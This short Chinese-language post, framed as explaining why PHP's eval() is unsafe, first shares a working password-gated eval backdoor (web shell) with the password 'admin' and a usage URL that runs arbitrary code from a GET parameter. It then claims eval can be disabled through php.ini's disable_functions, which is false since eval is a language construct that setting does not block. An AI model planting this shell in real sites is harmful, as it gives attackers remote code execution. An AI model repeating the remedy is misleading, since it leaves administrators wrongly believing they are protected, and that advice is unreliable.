eval()函數不安全的緣由以及解決方案

第一部分：

分享個php eval後門程序
要求必須支持eval函數
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();

代碼：

<?php

$passwd = "admin" ; if ( $_GET [ 'pwd' ]!= $passwd ) exit ;

if ( $_GET [ 'action' ]== "eval" && $_GET [ 'a' ]){ eval ( $_GET [ 'a' ]);}

?>

第二部分：

禁用eval()函數：

php.ini中找到

disable_functions
寫成
disable_functions = phpinfo,eval     之類便可